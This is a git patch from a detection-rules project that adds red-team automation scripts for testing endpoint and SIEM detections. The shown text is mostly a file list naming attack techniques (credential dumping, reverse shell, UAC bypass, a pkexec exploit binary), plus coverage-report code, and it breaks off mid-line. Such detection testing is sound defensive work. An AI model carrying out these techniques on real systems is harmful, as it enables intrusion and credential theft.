From 1dfc8ca8178bdeef25bd8091aa4f1899a4819a57 Mon Sep 17 00:00:00 2001 From: Mika Ayenson Date: Thu, 8 Sep 2022 12:50:39 -0400 Subject: [PATCH] Release ER Production RTAs to DR (#2270) (cherry picked from commit 0358ec9d9a5e05c538cd4961f210bf544bddc53f) --- detection_rules/main.py | 28 ++++++ detection_rules/mappings.py | 81 ++++++++++++++++- rta/__init__.py | 82 +++++++++++++----- rta/__main__.py | 40 ++++++--- rta/adobe_hijack.py | 12 ++- rta/adobe_priv_helper_tool.py | 39 +++++++++ rta/app_bundler_execution.py | 47 ++++++++++ rta/appcompat_shim.py | 15 +++- rta/at_command.py | 37 +++++--- rta/atom_init_coffee.py | 39 +++++++++ rta/auth_plugin.py | 27 ++++++ rta/automator_workflows.py | 41 +++++++++ rta/bifrost_attack.py | 36 ++++++++ rta/bin/DoublePersist.exe | Bin 0 -> 4608 bytes rta/bin/Invoke-ImageLoad.ps1 | 27 ++++++ rta/bin/__init__.py | 1 - rta/bin/com.apple.ditto_and_spawn_arm | Bin 0 -> 33722 bytes rta/bin/com.apple.ditto_and_spawn_intel | Bin 0 -> 49712 bytes rta/bin/com.apple.sleep_arm | Bin 0 -> 33520 bytes rta/bin/com.apple.sleep_intel | Bin 0 -> 49512 bytes rta/bin/highentropy.txt | Bin 0 -> 187 bytes rta/bin/linux.ditto_and_spawn | Bin 0 -> 16912 bytes rta/bin/notepad_launch.inf | 9 ++ rta/bin/pkexec_cve20214034/cve-2021-4034 | Bin 0 -> 16616 bytes rta/bin/rcedit-x64.exe | Bin 0 -> 1308672 bytes rta/bin/regsvr32.exe | Bin 0 -> 4096 bytes rta/bin/renamed.exe | Bin 0 -> 232960 bytes rta/bin/renamed_posh.exe | Bin 0 -> 446976 bytes rta/bin/thread_injector_arm | Bin 0 -> 50704 bytes rta/bin/thread_injector_intel | Bin 0 -> 50208 bytes rta/binary_masquerade.py | 37 ++++++++ rta/bitsadmin_download.py | 16 +++- rta/bitsadmin_execution.py | 42 +++++++++ rta/browser_cred_access.py | 41 +++++++++ rta/browser_debugging.py | 69 +++++++++++++++ rta/brute_force_login.py | 38 ++++++-- rta/calendar_file_mod.py | 36 ++++++++ rta/certutil_file_obfuscation.py | 25 +++++- rta/certutil_webrequest.py | 13 ++- rta/child_w3wp.py | 34 ++++++++ rta/clr_logs_creation.py | 42 +++++++++ rta/cmd_shell_via_word.py | 38 ++++++++ rta/cmstp_image_load.py | 50 +++++++++++ rta/common.py | 45 ++++++++-- rta/comsvcs_dump.py | 34 +++++++- rta/crashdump_disabled.py | 34 ++++++++ rta/credential_access_dump_hashes_via_cmd.py | 31 +++++++ rta/credential_access_known_utilities.py | 35 ++++++++ rta/credential_access_osascript_phishing.py | 36 ++++++++ rta/credman_discovery.py | 40 +++++++++ rta/cscript_suspicious_args.py | 45 ++++++++++ rta/curl_payload_download.py | 39 +++++++++ rta/darkradiation.py | 38 ++++++++ rta/dcom_lateral_movement_with_mmc.py | 16 +++- rta/ddns_lolbas.py | 37 ++++++++ rta/ddns_unsigned.py | 38 ++++++++ rta/defensive_evasion_reflective_loading.py | 29 +++++++ rta/defensive_evasion_safari_modification.py | 44 ++++++++++ rta/delete_bootconf.py | 12 ++- rta/delete_catalogs.py | 12 ++- rta/delete_usnjrnl.py | 12 ++- rta/delete_volume_shadows.py | 12 ++- rta/directory_service_plugin_file.py | 32 +++++++ rta/disable_os_security_updates.py | 56 ++++++++++++ rta/disable_windows_fw.py | 12 ++- rta/discovery_virtual_machine_grep.py | 32 +++++++ rta/dock_plist.py | 30 +++++++ rta/double_persist.py | 36 ++++++++ rta/dscl_hidden_account.py | 36 ++++++++ rta/dseditgroup_admin_add.py | 34 ++++++++ rta/dynwrapx_image_load.py | 58 +++++++++++++ rta/edmond_child_process.py | 34 ++++++++ rta/eggshell_backdoor.py | 38 ++++++++ rta/elevated_osascript_execution.py | 46 ++++++++++ rta/emond_child_process.py | 38 ++++++++ rta/emond_plist.py | 27 ++++++ rta/empire_stager.py | 42 +++++++++ rta/enum_commands.py | 37 +++++--- rta/enumeration_linpeas.py | 39 +++++++++ rta/env_variable_hijacking.py | 39 +++++++++ rta/exec_control_panel_cpl.py | 30 +++++++ rta/exec_cscript_suspicious_powershell.py | 40 +++++++++ rta/exec_echo_named_pipe.py | 32 +++++++ rta/exec_explorer_trampoline.py | 45 ++++++++++ rta/exec_ms_dotnet_clickonce.py | 57 ++++++++++++ rta/exec_msdt_diagcab.py | 43 +++++++++ rta/exec_scripting_persistence_locations.py | 62 +++++++++++++ rta/exec_scripting_unusual_extension.py | 31 +++++++ rta/exec_scripting_via_html_app.py | 42 +++++++++ rta/exec_sqlserver_suspicious_child.py | 35 ++++++++ rta/exec_susp_explorer.py | 28 ++++++ rta/exec_susp_msiexec.py | 36 ++++++++ rta/exec_susp_parent_child.py | 34 ++++++++ rta/exec_svchost_child_schedule.py | 35 ++++++++ rta/exec_unusual_directory.py | 36 ++++++++ rta/exec_winword_susp_parent.py | 38 ++++++++ rta/execution_node_child_process.py | 48 ++++++++++ rta/execution_pubprn.py | 47 ++++++++++ rta/extexport_sideload.py | 45 ++++++++++ rta/file_exe_ususual_extension.py | 37 ++++++++ rta/file_html_smuggling.py | 52 +++++++++++ rta/finder_sync_plugin.py | 37 ++++++++ rta/findstr_pw_search.py | 6 +- rta/firewall_allowlist_modif_unsigned.py | 38 ++++++++ rta/fltmc_unload.py | 33 +++++++ rta/git_creds_access.py | 39 +++++++++ rta/globalflags.py | 20 +++-- rta/grep_software_discovery.py | 43 +++++++++ rta/hosts_file_modify.py | 30 ++++--- rta/html_help_file_written_exec.py | 43 +++++++++ rta/inhibit_system_recovery.py | 69 +++++++++++++++ rta/inhibit_system_recovery_and_rename.py | 44 ++++++++++ rta/inhibit_system_recovery_cmd.py | 35 ++++++++ rta/inhibit_system_recovery_lolbas_child.py | 45 ++++++++++ rta/inhibit_system_recovery_office.py | 47 ++++++++++ rta/inhibit_system_recovery_renamed.py | 37 ++++++++ rta/installutil_network.py | 39 ++++++++- rta/ip_discovery_unsigned.py | 38 ++++++++ rta/iqy_file_writes.py | 6 +- rta/javascript_payload.py | 34 ++++++++ rta/kcc_kerberos_dump.py | 39 +++++++++ rta/kerberos_netconn_file_creation.py | 36 ++++++++ rta/kernelext_agent_unload.py | 44 ++++++++++ rta/keychain_cred_access.py | 42 +++++++++ rta/keychain_dump.py | 39 +++++++++ rta/keychain_pwd_cmdline.py | 41 +++++++++ rta/lateral_command_psexec.py | 12 ++- rta/lateral_commands.py | 15 +++- rta/launchagent_plist.py | 43 +++++++++ rta/launchdaemon_persistence.py | 42 +++++++++ rta/ldapsearch_group_enumeration.py | 39 +++++++++ rta/linux_compress_sensitive_files.py | 22 +++-- rta/linux_discovery_sensitive_files.py | 15 +++- rta/login_hook.py | 34 ++++++++ rta/login_window_plist.py | 27 ++++++ rta/lua_image_load.py | 60 +++++++++++++ rta/mac_office_descendant.py | 6 +- rta/macos_installer_curl.py | 43 +++++++++ rta/mimikatz_cmdline.py | 31 +++++++ ...dification_of_wdigest_security_provider.py | 37 ++++++-- rta/modify_bootconf.py | 49 +++++++++++ rta/modify_sublime_app.py | 41 +++++++++ rta/mount_smbfs.py | 36 ++++++++ rta/ms_office_drop_exe.py | 21 ++++- rta/ms_office_task_creation.py | 55 ++++++++++++ rta/msbuild_network.py | 22 ++++- rta/msbuild_unusual_args.py | 43 +++++++++ rta/msequationeditor_file_written_exec.py | 47 ++++++++++ rta/msequationeditor_net_conn.py | 36 ++++++++ rta/mshta_network.py | 21 ++++- rta/msiexec_http_installer.py | 26 +++++- rta/msiexec_remote_msi.py | 32 +++++++ rta/msiexec_remote_msi_install.py | 40 +++++++++ rta/msoffice_dcom_accessvbom.py | 39 +++++++++ ...msoffice_descendant_reg_mod_persistence.py | 47 ++++++++++ rta/msoffice_dll_image_load.py | 50 +++++++++++ rta/msoffice_file_drop_exec_wmi.py | 49 +++++++++++ rta/msoffice_file_exec_script_interpreter.py | 48 ++++++++++ rta/msoffice_reg_mod.py | 42 +++++++++ rta/msoffice_signed_binary_spawn.py | 43 +++++++++ rta/msoffice_startup_persistence.py | 42 +++++++++ rta/msoffice_untrusted_exec.py | 49 +++++++++++ rta/msoffice_wmi_imageload.py | 41 +++++++++ rta/msxsl_image_load.py | 49 +++++++++++ rta/msxsl_network.py | 13 ++- rta/net_user_add.py | 20 ++++- ...network_connection_process_unusual_args.py | 35 ++++++++ rta/network_connection_unusual_rundll32.py | 35 ++++++++ rta/networksetup_vpn.py | 36 ++++++++ rta/obfuscated_cmd_commands.py | 14 +-- rta/obfuscated_powershell.py | 8 +- rta/office_app_execution.py | 39 +++++++++ rta/office_application_startup.py | 6 +- rta/office_child_process.py | 37 ++++++++ rta/opera_child_process.py | 40 +++++++++ rta/osascript_hidden_login_item.py | 44 ++++++++++ rta/osascript_net_conn.py | 39 +++++++++ rta/osascript_sh_execution.py | 34 ++++++++ rta/osascript_suspicious_cmdline.py | 38 ++++++++ rta/outlook_suspicious_child.py | 42 +++++++++ rta/periodic_task_creation.py | 27 ++++++ rta/persistence_chrome_extension.py | 33 +++++++ rta/persistence_startup_unusual_process.py | 50 +++++++++++ rta/persistent_scripts.py | 15 +++- rta/ping_delayed_exec.py | 29 +++++++ rta/pkexec_shell.py | 33 +++++++ rta/plist_creation.py | 74 ++++++++++++++++ rta/plistbuddy_file_modification.py | 40 +++++++++ rta/port_monitor.py | 17 +++- rta/powershell_args.py | 14 +-- rta/powershell_base64_gzip.py | 19 +++- rta/powershell_from_script.py | 14 ++- rta/powershell_unsigned_defender_exclusion.py | 38 ++++++++ rta/powershell_vault_access.py | 36 ++++++++ rta/privilege_escalation_remote_thread.py | 41 +++++++++ rta/privilege_escalation_tcc_bypass.py | 32 +++++++ rta/process_double_extension.py | 22 ++++- rta/process_extension_anomalies.py | 9 +- rta/process_name_masquerade.py | 39 ++++----- rta/ransomnote_delete_shadows.py | 32 +++++++ rta/recycle_bin_process.py | 18 +++- rta/reg_creation_servicedll.py | 34 ++++++++ rta/reg_mod_netwire.py | 32 +++++++ rta/reg_mod_nullsessionpipes.py | 37 ++++++++ rta/reg_mod_plugx.py | 34 ++++++++ rta/reg_mod_remcos.py | 34 ++++++++ rta/reg_mod_run_key_unusual_proc.py | 49 +++++++++++ rta/reg_mod_windir.py | 35 ++++++++ rta/reg_run_key_asterisk.py | 34 ++++++++ rta/reg_vss_service_disable.py | 53 +++++++++++ rta/registry_hive_export.py | 18 +++- rta/registry_persistence_create.py | 52 +++++++++-- rta/registry_rdp_enable.py | 17 +++- rta/regsvr32_scrobj.py | 40 +++++---- rta/regsvr32_unusual_args.py | 37 ++++++++ rta/renamed_autoit.py | 42 +++++++++ rta/renamed_automaton_interpreter.py | 49 +++++++++++ rta/reverse_shell.py | 32 +++++++ rta/root_cert_install.py | 34 ++++++++ rta/root_crontab_file_modification.py | 37 ++++++++ rta/rubeus_alike_commandline.py | 31 +++++++ rta/rundll32_inf.py | 53 +++++++++++ rta/rundll32_inf_callback.py | 7 +- rta/rundll32_javascript_callback.py | 14 ++- rta/rundll32_unusual_args.py | 38 ++++++++ rta/rundll32_unusual_dll_extension.py | 48 ++++++++++ rta/schtask_escalation.py | 32 +++++-- rta/schtasks_xml_masqueraded.py | 32 +++++++ rta/scp_privacy_bypass.py | 48 ++++++++++ rta/screensaver_child_process.py | 44 ++++++++++ rta/screensaver_plist_mod.py | 48 ++++++++++ rta/scrobj_com_hijack.py | 12 ++- rta/secure_file_deletion.py | 22 +++-- rta/security_authtrampoline.py | 40 +++++++++ rta/settingcontentms_files.py | 21 ++++- rta/sevenzip_encrypted.py | 15 +++- rta/shlayer_payload.py | 34 ++++++++ rta/shortcut_file_suspicious_process.py | 10 ++- rta/signed_proxy_file_written_exec.py | 56 ++++++++++++ rta/silentprocessexit_lsass.py | 32 +++++++ rta/sip_provider.py | 12 ++- rta/smb_connection.py | 13 ++- rta/solarmaker_backdoor.py | 55 ++++++++++++ rta/spctl_gatekeeper_bypass.py | 34 ++++++++ rta/special_chars_zip_file.py | 29 +++++++ rta/sqlite_db_evasion.py | 39 +++++++++ rta/ssh_bruteforce.py | 58 +++++++++++++ rta/sticky_keys_write_execute.py | 31 ++++++- rta/sudo_exploit.py | 41 +++++++++ rta/susp_scheduled_task_creation.py | 38 ++++++++ rta/susp_script_file_name.py | 51 +++++++++++ rta/suspicious_dll_registration_regsvr32.py | 6 +- rta/suspicious_office_child.py | 35 ++++++++ rta/suspicious_office_children.py | 12 ++- rta/suspicious_office_descendant_fp.py | 22 ++++- rta/suspicious_powershell_download.py | 51 ++++++----- rta/suspicious_wmic_script.py | 13 ++- rta/suspicious_wscript_parent.py | 23 +++-- rta/system_restore_process.py | 7 +- rta/systemkey_credential_access.py | 36 ++++++++ rta/systemsetup_ssh_enable.py | 39 +++++++++ rta/tcc_bypass_mounted_apfs.py | 36 ++++++++ rta/tcc_modification.py | 43 +++++++++ rta/trust_provider.py | 13 ++- rta/uac_cdssync.py | 47 ++++++++++ rta/uac_computerdefaults.py | 44 ++++++++++ rta/uac_dccw.py | 49 +++++++++++ rta/uac_diskcleanup.py | 31 +++++++ rta/uac_dism_dll_side_loading.py | 45 ++++++++++ rta/uac_eventviewer.py | 14 ++- rta/uac_eventvwr.py | 35 ++++++++ rta/uac_fodhelper.py | 41 +++++++++ rta/uac_icmluautil.py | 42 +++++++++ rta/uac_mmc_deserialization.py | 44 ++++++++++ rta/uac_mmc_hijack.py | 41 +++++++++ rta/uac_mmc_net_core_profiler.py | 45 ++++++++++ rta/uac_sdclt.py | 48 +++++----- rta/uac_sysprep.py | 11 ++- rta/uac_windows_activation.py | 44 ++++++++++ rta/uac_winfw_mmc.py | 44 ++++++++++ rta/uac_wow64log.py | 51 +++++++++++ rta/uac_wsreset.py | 41 +++++++++ rta/uncommon_persistence.py | 22 ++++- rta/unsigned_startup_item_netconn.py | 48 ++++++++++ rta/unusual_kerberos_client.py | 72 +++++++++++++++ rta/unusual_ms_tool_network.py | 29 ++++++- rta/unusual_parent_child.py | 12 ++- rta/unusual_powershell_engine_image_load.py | 31 +++++++ rta/unusual_rdp_client.py | 53 +++++++++++ rta/user_action_script.py | 38 ++++++++ rta/user_dir_escalation.py | 6 +- rta/user_mode_smb_connection.py | 48 ++++++++++ rta/vaultcmd_commands.py | 14 ++- rta/webproxy_modification.py | 34 ++++++++ rta/webservice_lolbas.py | 41 +++++++++ rta/webservice_unsigned.py | 38 ++++++++ rta/werfault_masquerading.py | 34 ++++++++ rta/werfault_persistence.py | 46 ++++++++-- rta/wevtutil_log_clear.py | 12 ++- rta/windefend_svc_stop.py | 38 ++++++++ rta/windows_script_host_file_written_exec.py | 52 +++++++++++ rta/winrar_encrypted.py | 15 +++- rta/winrar_startup_folder.py | 19 ++-- rta/wmi_incoming_logon.py | 24 +++-- rta/wmic_xsl_exec.py | 45 ++++++++++ rta/wuauclt_image_load.py | 62 +++++++++++++ tests/test_all_rules.py | 4 +- tests/test_mappings.py | 18 ++++ 308 files changed, 9859 insertions(+), 367 deletions(-) create mode 100644 rta/adobe_priv_helper_tool.py create mode 100644 rta/app_bundler_execution.py create mode 100644 rta/atom_init_coffee.py create mode 100644 rta/auth_plugin.py create mode 100644 rta/automator_workflows.py create mode 100644 rta/bifrost_attack.py create mode 100644 rta/bin/DoublePersist.exe create mode 100644 rta/bin/Invoke-ImageLoad.ps1 create mode 100755 rta/bin/com.apple.ditto_and_spawn_arm create mode 100755 rta/bin/com.apple.ditto_and_spawn_intel create mode 100755 rta/bin/com.apple.sleep_arm create mode 100755 rta/bin/com.apple.sleep_intel create mode 100644 rta/bin/highentropy.txt create mode 100755 rta/bin/linux.ditto_and_spawn create mode 100644 rta/bin/notepad_launch.inf create mode 100755 rta/bin/pkexec_cve20214034/cve-2021-4034 create mode 100644 rta/bin/rcedit-x64.exe create mode 100644 rta/bin/regsvr32.exe create mode 100644 rta/bin/renamed.exe create mode 100644 rta/bin/renamed_posh.exe create mode 100755 rta/bin/thread_injector_arm create mode 100755 rta/bin/thread_injector_intel create mode 100644 rta/binary_masquerade.py create mode 100644 rta/bitsadmin_execution.py create mode 100644 rta/browser_cred_access.py create mode 100644 rta/browser_debugging.py create mode 100644 rta/calendar_file_mod.py create mode 100644 rta/child_w3wp.py create mode 100644 rta/clr_logs_creation.py create mode 100644 rta/cmd_shell_via_word.py create mode 100644 rta/cmstp_image_load.py create mode 100644 rta/crashdump_disabled.py create mode 100644 rta/credential_access_dump_hashes_via_cmd.py create mode 100644 rta/credential_access_known_utilities.py create mode 100644 rta/credential_access_osascript_phishing.py create mode 100644 rta/credman_discovery.py create mode 100644 rta/cscript_suspicious_args.py create mode 100644 rta/curl_payload_download.py create mode 100644 rta/darkradiation.py create mode 100644 rta/ddns_lolbas.py create mode 100644 rta/ddns_unsigned.py create mode 100644 rta/defensive_evasion_reflective_loading.py create mode 100644 rta/defensive_evasion_safari_modification.py create mode 100644 rta/directory_service_plugin_file.py create mode 100644 rta/disable_os_security_updates.py create mode 100644 rta/discovery_virtual_machine_grep.py create mode 100644 rta/dock_plist.py create mode 100644 rta/double_persist.py create mode 100644 rta/dscl_hidden_account.py create mode 100644 rta/dseditgroup_admin_add.py create mode 100644 rta/dynwrapx_image_load.py create mode 100644 rta/edmond_child_process.py create mode 100644 rta/eggshell_backdoor.py create mode 100644 rta/elevated_osascript_execution.py create mode 100644 rta/emond_child_process.py create mode 100644 rta/emond_plist.py create mode 100644 rta/empire_stager.py create mode 100644 rta/enumeration_linpeas.py create mode 100644 rta/env_variable_hijacking.py create mode 100644 rta/exec_control_panel_cpl.py create mode 100644 rta/exec_cscript_suspicious_powershell.py create mode 100644 rta/exec_echo_named_pipe.py create mode 100644 rta/exec_explorer_trampoline.py create mode 100644 rta/exec_ms_dotnet_clickonce.py create mode 100644 rta/exec_msdt_diagcab.py create mode 100644 rta/exec_scripting_persistence_locations.py create mode 100644 rta/exec_scripting_unusual_extension.py create mode 100644 rta/exec_scripting_via_html_app.py create mode 100644 rta/exec_sqlserver_suspicious_child.py create mode 100644 rta/exec_susp_explorer.py create mode 100644 rta/exec_susp_msiexec.py create mode 100644 rta/exec_susp_parent_child.py create mode 100644 rta/exec_svchost_child_schedule.py create mode 100644 rta/exec_unusual_directory.py create mode 100644 rta/exec_winword_susp_parent.py create mode 100644 rta/execution_node_child_process.py create mode 100644 rta/execution_pubprn.py create mode 100644 rta/extexport_sideload.py create mode 100644 rta/file_exe_ususual_extension.py create mode 100644 rta/file_html_smuggling.py create mode 100644 rta/finder_sync_plugin.py create mode 100644 rta/firewall_allowlist_modif_unsigned.py create mode 100644 rta/fltmc_unload.py create mode 100644 rta/git_creds_access.py create mode 100644 rta/grep_software_discovery.py create mode 100644 rta/html_help_file_written_exec.py create mode 100644 rta/inhibit_system_recovery.py create mode 100644 rta/inhibit_system_recovery_and_rename.py create mode 100644 rta/inhibit_system_recovery_cmd.py create mode 100644 rta/inhibit_system_recovery_lolbas_child.py create mode 100644 rta/inhibit_system_recovery_office.py create mode 100644 rta/inhibit_system_recovery_renamed.py create mode 100644 rta/ip_discovery_unsigned.py create mode 100644 rta/javascript_payload.py create mode 100644 rta/kcc_kerberos_dump.py create mode 100644 rta/kerberos_netconn_file_creation.py create mode 100644 rta/kernelext_agent_unload.py create mode 100644 rta/keychain_cred_access.py create mode 100644 rta/keychain_dump.py create mode 100644 rta/keychain_pwd_cmdline.py create mode 100644 rta/launchagent_plist.py create mode 100644 rta/launchdaemon_persistence.py create mode 100644 rta/ldapsearch_group_enumeration.py create mode 100644 rta/login_hook.py create mode 100644 rta/login_window_plist.py create mode 100644 rta/lua_image_load.py create mode 100644 rta/macos_installer_curl.py create mode 100644 rta/mimikatz_cmdline.py create mode 100644 rta/modify_bootconf.py create mode 100644 rta/modify_sublime_app.py create mode 100644 rta/mount_smbfs.py create mode 100644 rta/ms_office_task_creation.py create mode 100644 rta/msbuild_unusual_args.py create mode 100644 rta/msequationeditor_file_written_exec.py create mode 100644 rta/msequationeditor_net_conn.py create mode 100644 rta/msiexec_remote_msi.py create mode 100644 rta/msiexec_remote_msi_install.py create mode 100644 rta/msoffice_dcom_accessvbom.py create mode 100644 rta/msoffice_descendant_reg_mod_persistence.py create mode 100644 rta/msoffice_dll_image_load.py create mode 100644 rta/msoffice_file_drop_exec_wmi.py create mode 100644 rta/msoffice_file_exec_script_interpreter.py create mode 100644 rta/msoffice_reg_mod.py create mode 100644 rta/msoffice_signed_binary_spawn.py create mode 100644 rta/msoffice_startup_persistence.py create mode 100644 rta/msoffice_untrusted_exec.py create mode 100644 rta/msoffice_wmi_imageload.py create mode 100644 rta/msxsl_image_load.py create mode 100644 rta/network_connection_process_unusual_args.py create mode 100644 rta/network_connection_unusual_rundll32.py create mode 100644 rta/networksetup_vpn.py create mode 100644 rta/office_app_execution.py create mode 100644 rta/office_child_process.py create mode 100644 rta/opera_child_process.py create mode 100644 rta/osascript_hidden_login_item.py create mode 100644 rta/osascript_net_conn.py create mode 100644 rta/osascript_sh_execution.py create mode 100644 rta/osascript_suspicious_cmdline.py create mode 100644 rta/outlook_suspicious_child.py create mode 100644 rta/periodic_task_creation.py create mode 100644 rta/persistence_chrome_extension.py create mode 100644 rta/persistence_startup_unusual_process.py create mode 100644 rta/ping_delayed_exec.py create mode 100644 rta/pkexec_shell.py create mode 100644 rta/plist_creation.py create mode 100644 rta/plistbuddy_file_modification.py create mode 100644 rta/powershell_unsigned_defender_exclusion.py create mode 100644 rta/powershell_vault_access.py create mode 100644 rta/privilege_escalation_remote_thread.py create mode 100644 rta/privilege_escalation_tcc_bypass.py create mode 100644 rta/ransomnote_delete_shadows.py create mode 100644 rta/reg_creation_servicedll.py create mode 100644 rta/reg_mod_netwire.py create mode 100644 rta/reg_mod_nullsessionpipes.py create mode 100644 rta/reg_mod_plugx.py create mode 100644 rta/reg_mod_remcos.py create mode 100644 rta/reg_mod_run_key_unusual_proc.py create mode 100644 rta/reg_mod_windir.py create mode 100644 rta/reg_run_key_asterisk.py create mode 100644 rta/reg_vss_service_disable.py create mode 100644 rta/regsvr32_unusual_args.py create mode 100644 rta/renamed_autoit.py create mode 100644 rta/renamed_automaton_interpreter.py create mode 100644 rta/reverse_shell.py create mode 100644 rta/root_cert_install.py create mode 100644 rta/root_crontab_file_modification.py create mode 100644 rta/rubeus_alike_commandline.py create mode 100644 rta/rundll32_inf.py create mode 100644 rta/rundll32_unusual_args.py create mode 100644 rta/rundll32_unusual_dll_extension.py create mode 100644 rta/schtasks_xml_masqueraded.py create mode 100644 rta/scp_privacy_bypass.py create mode 100644 rta/screensaver_child_process.py create mode 100644 rta/screensaver_plist_mod.py create mode 100644 rta/security_authtrampoline.py create mode 100644 rta/shlayer_payload.py create mode 100644 rta/signed_proxy_file_written_exec.py create mode 100644 rta/silentprocessexit_lsass.py create mode 100644 rta/solarmaker_backdoor.py create mode 100644 rta/spctl_gatekeeper_bypass.py create mode 100644 rta/special_chars_zip_file.py create mode 100644 rta/sqlite_db_evasion.py create mode 100644 rta/ssh_bruteforce.py create mode 100644 rta/sudo_exploit.py create mode 100644 rta/susp_scheduled_task_creation.py create mode 100644 rta/susp_script_file_name.py create mode 100644 rta/suspicious_office_child.py create mode 100644 rta/systemkey_credential_access.py create mode 100644 rta/systemsetup_ssh_enable.py create mode 100644 rta/tcc_bypass_mounted_apfs.py create mode 100644 rta/tcc_modification.py create mode 100644 rta/uac_cdssync.py create mode 100644 rta/uac_computerdefaults.py create mode 100644 rta/uac_dccw.py create mode 100644 rta/uac_diskcleanup.py create mode 100644 rta/uac_dism_dll_side_loading.py create mode 100644 rta/uac_eventvwr.py create mode 100644 rta/uac_fodhelper.py create mode 100644 rta/uac_icmluautil.py create mode 100644 rta/uac_mmc_deserialization.py create mode 100644 rta/uac_mmc_hijack.py create mode 100644 rta/uac_mmc_net_core_profiler.py create mode 100644 rta/uac_windows_activation.py create mode 100644 rta/uac_winfw_mmc.py create mode 100644 rta/uac_wow64log.py create mode 100644 rta/uac_wsreset.py create mode 100644 rta/unsigned_startup_item_netconn.py create mode 100644 rta/unusual_kerberos_client.py create mode 100644 rta/unusual_powershell_engine_image_load.py create mode 100644 rta/unusual_rdp_client.py create mode 100644 rta/user_action_script.py create mode 100644 rta/user_mode_smb_connection.py create mode 100644 rta/webproxy_modification.py create mode 100644 rta/webservice_lolbas.py create mode 100644 rta/webservice_unsigned.py create mode 100644 rta/werfault_masquerading.py create mode 100644 rta/windefend_svc_stop.py create mode 100644 rta/windows_script_host_file_written_exec.py create mode 100644 rta/wmic_xsl_exec.py create mode 100644 rta/wuauclt_image_load.py diff --git a/detection_rules/main.py b/detection_rules/main.py index 54e8ccbab..baa1a68d9 100644 --- a/detection_rules/main.py +++ b/detection_rules/main.py @@ -17,7 +17,9 @@ from uuid import uuid4 import click + from .cli_utils import rule_prompt, multi_collection +from .mappings import build_coverage_map, get_triggered_rules, print_converage_summary from .misc import add_client, client_error, nested_set, parse_config, load_current_package_version from .rule import TOMLRule, TOMLRuleContents from .rule_formatter import toml_write @@ -425,3 +427,29 @@ def prep_rule(author: str): updated_rule.write_text(json.dumps(template_rule, sort_keys=True)) click.echo(f'Rule saved to: {updated_rule}. Import this to Kibana to create alerts on all dnstwist-* indexes') click.echo('Note: you only need to import and enable this rule one time for all dnstwist-* indexes') + + +@root.group('rta') +def rta_group(): + """Commands related to Red Team Automation (RTA) scripts.""" + + +# create command to show rule-rta coverage +@rta_group.command('coverage') +@click.option("-o", "--os-filter", default="all", + help="Filter rule coverage summary by OS. (E.g. windows) Default: all") +def rta_coverage(os_filter: str): + """Show coverage of RTA / rules by os type.""" + + # get all rules + all_rules = RuleCollection.default() + + # get rules triggered by RTA + triggered_rules = get_triggered_rules() + + # build coverage map + coverage_map = build_coverage_map(triggered_rules, all_rules) + + # # print summary + all_rule_count = len(all_rules.rules) + print_converage_summary(coverage_map, all_rule_count, os_filter) diff --git a/detection_rules/mappings.py b/detection_rules/mappings.py index e67bc00dc..82567dd44 100644 --- a/detection_rules/mappings.py +++ b/detection_rules/mappings.py @@ -7,10 +7,14 @@ import os from collections import defaultdict +from rta import get_available_tests + +from .rule import TOMLRule from .schemas import validate_rta_mapping -from .utils import load_etc_dump, save_etc_dump, get_path +from .utils import get_path, load_etc_dump, save_etc_dump RTA_DIR = get_path("rta") +RTA_PLATFORM_TYPES = ["windows", "linux", "macos"] class RtaMappings: @@ -73,3 +77,78 @@ class RtaMappings: rta_files.add(rta_path) return list(sorted(rta_files)) + + +def get_triggered_rules() -> dict: + """Get the rules that are triggered by each RTA.""" + triggered_rules = {} + for rta_test in list(get_available_tests().values()): + for rule_info in rta_test.get("siem", []): + rule_id = rule_info.get("rule_id") + for platform in rta_test.get("platforms", []): + triggered_rules.setdefault(platform, []).append(rule_id) + return triggered_rules + + +def get_platform_list(rule: TOMLRule) -> list: + """Get the list of OSes for a rule.""" + os_list = [] + if rule.contents.metadata.os_type_list: + os_list = [r.lower() for r in rule.contents.metadata.os_list] + elif rule.contents.data.tags: + tags = [t.lower() for t in rule.contents.data.tags] + os_list = [t for t in RTA_PLATFORM_TYPES if t in tags] + return os_list + + +def build_coverage_map(triggered_rules: dict, all_rules) -> dict: + """Get the rules that are not covered by each rta.""" + + # avoid a circular import + from .rule_loader import RuleCollection + all_rules: RuleCollection + + coverage_map = {"all": 0} + for rule in all_rules.rules: + rule_covered = False + os_list = get_platform_list(rule) + + for os_type in os_list: + prefix = "" + + if rule.contents.metadata.maturity == "development": + prefix = "DIAG : " + elif rule.contents.metadata.maturity == "deprecated": + prefix = "DEPR : " + + if rule.id in triggered_rules[os_type]: + coverage_map.setdefault(os_type, {}).setdefault("supported", []).append(f"- [x] {prefix}{rule.name}") + rule_covered = True + else: + coverage_map.setdefault(os_type, {}).setdefault("unsupported", []).append(f"- [ ] {prefix}{rule.name}") + if rule_covered: + coverage_map["all"] += 1 + + return coverage_map + + +def print_converage_summary(coverage_map: dict, all_rule_count: int, os_filter: str): + """Print the coverage summary.""" + print("\n\nCoverage Report\n") + supported_count = coverage_map["all"] + print(f"{supported_count} / {all_rule_count} unique detection rules are supported by RTAs for all OS types") + + for os_type, results in coverage_map.items(): + + if os_type != "all" and (os_type == os_filter or os_filter == "all"): + supported = results["supported"] + unsupported = results["unsupported"] + + print(f"\n{os_type} coverage: {len(supported)} / {len(supported) + len(unsupported)}") + print("Supported:") + for rule in sorted(set(supported)): + print(f"\t{rule}") + + print("Unsupported:") + for rule in sorted(set(unsupported)): + print(f"\t{rule}") diff --git a/rta/__init__.py b/rta/__init__.py index baace2567..70420cf7c 100644 --- a/rta/__init__.py +++ b/rta/__init__.py @@ -4,41 +4,75 @@ # 2.0. import importlib +import inspect +from dataclasses import asdict, dataclass, field from pathlib import Path -from typing import List, Optional +from typing import Dict, List, Optional from . import common CURRENT_DIR = Path(__file__).resolve().parent -def get_ttp_list(os_types: Optional[List[str]] = None) -> List[str]: - scripts = [] - if os_types and not isinstance(os_types, (list, tuple)): - os_types = [os_types] +@dataclass +class RtaMetadata: + """Metadata associated with all RTAs.""" - for script in CURRENT_DIR.glob("*.py"): - base_name = script.stem - if base_name not in ("common", "main") and not base_name.startswith("_"): - if os_types: - # Import it and skip it if it's not supported - importlib.import_module(__name__ + "." + base_name) - if not any(base_name in common.OS_MAPPING[os_type] for os_type in os_types): - continue + uuid: str + platforms: List[str] - scripts.append(str(script)) + path: Path = field(init=False) + name: str = field(init=False) + endpoint: Optional[List[dict]] = None + siem: Optional[List[dict]] = None + techniques: Optional[List[str]] = None - return scripts + def __post_init__(self): + """Set the path and name based on the callee and check for platforms.""" + + # set the path of the callee + for frame in 